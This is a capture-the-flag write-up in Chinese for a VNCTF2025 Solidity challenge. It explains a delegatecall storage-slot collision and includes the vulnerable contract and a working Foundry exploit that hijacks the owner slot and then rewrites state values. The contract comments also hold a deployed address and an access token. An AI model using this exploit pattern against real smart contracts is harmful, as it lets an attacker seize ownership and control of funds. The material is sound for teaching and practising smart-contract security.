倒带时间

这题主要考察的就是delegatecall数据存储,即委托调用目标合约时需要将数据类型存储顺序一一对应,这题的不同点是需要注意常数不占用数据存储槽,是直接十六进制编码。还有就是注意动态数组的声明和赋值方式。具体步骤就是先调用setZDriveowner函数把合约owner变成我们,再就是更改时间,只需要同名函数和参数即可,因为目标合约的time都是public关键字修饰,所以可以直接赋值。

目标合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: GPL-3.0
//deployer account: 0x213b7d6704316ba5Fb063ae470f5E37De7468bC4
//token: v4.local.4ECWxtPLbmrkoKt1mt_t3Qczu3vCM5uuyTqH0_kNfhcRrL-8emkm2dXTx8VkJJWZrWx0-v_HsGMSXxTQTF9GMO4YSZWi65ZR8LxqBBIxMKq-Jc76jljE9BIpDDTMhbZO_tcFM_VO82qlACLidyYig1UjNhtyNfRBbRU18sgEKfFskA.RWtrb1RpbWVSZXdpbmQ
//contract address: 0xC6873f0a4175c362477C09b814D92a08582D2184
pragma solidity ^0.8.0;

contract EkkoTimeRewind {
address public owner; //slot 0
string public constant saying = "U can do Anything in VNCTF2025";
bytes4 constant setZDriveownerSignature =
bytes4(keccak256("setZDriveowner(uint256,uint256)"));
address public rewindBeforeTime; // slot 1
address public rewindAfterTime; // slot 2
uint256 public Time0; //slot 3
uint256 public Time1; //slot 4
bool private isSetZDriveownerCalled = false; //slot
bool private isSetTimeCalled = false; //slot
address public zDriveContractAddress; //slot 7

constructor(address _zDriveContractAddress) {
zDriveContractAddress = _zDriveContractAddress;
rewindBeforeTime = address(this);
rewindAfterTime = address(this);
owner = msg.sender;
}

function setRewindBeforeTime(uint256 _Time0) public onlyWhitelisted {
require(
!isSetTimeCalled,
"setRewindBeforeTime can only be called once"
);
isSetTimeCalled = true;
Time0 = _Time0;
}

function setRewindAfterTime(uint256 _Time1) public onlyWhitelisted {
require(!isSetTimeCalled, "setRewindAfterTime can only be called once");
isSetTimeCalled = true;
Time1 = _Time1;
}

function isSolved() public view returns (bool) {
return (Time0 != 0 && Time1 != 0 && Time0 > Time1 + 4);
}

function setZDriveowner(bytes[] calldata data) public {
require(
!isSetZDriveownerCalled,
"multicallSetZDriveowner has already been called once"
);

for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (
!isSetZDriveownerCalled && selector == setZDriveownerSignature
) {
(bool success, ) = zDriveContractAddress.delegatecall(data[i]);
require(
success,
"Error while delegating call to setZDriveowner"
);
} else {
revert("Invalid selector");
}
}

isSetZDriveownerCalled = true;
}

function setTime(bytes[] calldata data) public onlyWhitelisted {
bytes4 rewindBeforeTimeSignature = bytes4(
keccak256("setRewindBeforeTime(uint256)")
);
bytes4 rewindAfterTimeSignature = bytes4(
keccak256("setRewindAfterTime(uint256)")
);
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (!isSetTimeCalled && selector == rewindBeforeTimeSignature) {
(bool success, ) = rewindBeforeTime.delegatecall(data[i]);
require(
success,
"Error while delegating call for rewindBeforeTime"
);
} else if (
!isSetTimeCalled && selector == rewindAfterTimeSignature
) {
(bool success, ) = rewindAfterTime.delegatecall(data[i]);
require(
success,
"Error while delegating call for rewindAfterTime"
);
} else {
revert("Invalid selector");
}
}
}

modifier onlyWhitelisted() {
require(msg.sender == owner, "Not whitelisted");
_;
}
}


contract ZDriveContract {
uint256 public ZDriveowner; //slot 0
uint256 public Description; //slot 1
uint256 private callCounter = 0; //slot 2
event UsefulEvent(string message);
function setZDriveowner(uint256 _ZDriveowner, uint256 _Description) public {
ZDriveowner = _ZDriveowner;
Description = _Description;
callCounter++;
emit UsefulEvent("Happy Chinese New Year!");
}
function getSomeConstantInfo() public pure returns (string memory) {
return "VNCTF2025";
}
}

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

//常数不占槽,所以可以一个传我们的地址另一个传攻击合约的地址

import {EkkoTimeRewind} from "../src/EkkoTimeRewind.sol";
import {Script, console} from "forge-std/Script.sol";

contract Hack {
uint256 public ZDriveowner; //slot 0
uint256 public Description; //slot 1
address public contract_addr;
uint256 public Time0;
uint256 public Time1;
address public msg_addr;

function hack() public {
contract_addr = 0xC6873f0a4175c362477C09b814D92a08582D2184;
msg_addr = 0x949AC2C16Ea7B0B003927Db532908Fc97090d9E5;
EkkoTimeRewind target = EkkoTimeRewind(contract_addr);

// 构造 setZDriveowner 的 payload 数组(仅1个元素)
bytes[] memory data1 = new bytes[](1);
// data1[0] = abi.encodePacked(
// keccak256("setZDriveowner(uint256,uint256)"),
// uint256(uint160(address(this))),
// uint256(uint160(address(this)))
// );
data1[0] = abi.encodeWithSignature(
"setZDriveowner(uint256,uint256)",
uint256(uint160(address(this))),
uint256(uint160(address(this)))
);
target.setZDriveowner(data1); // 此时目标合约的 owner 变为 msg_addr,rewindBeforeTime 变为 address(this)
console.log(target.owner());
// 构造 setTime 的 payload 数组(2个元素)
bytes[] memory data2 = new bytes[](1);
data2[0] = abi.encodeWithSignature(
"setRewindBeforeTime(uint256)",
uint256(6)
);
target.setTime(data2); // 改变时间参数
console.log(target.rewindBeforeTime());
console.log(target.Time0());
require(target.isSolved(), "is not solved");
}

function setRewindBeforeTime(uint256 _Time0) public {
Time0 = _Time0;
Time1 = 1;
}
}

contract Attack is Script, Hack {
function run() external {
vm.startBroadcast();
Hack hack = new Hack();
hack.hack();
vm.stopBroadcast();
}
}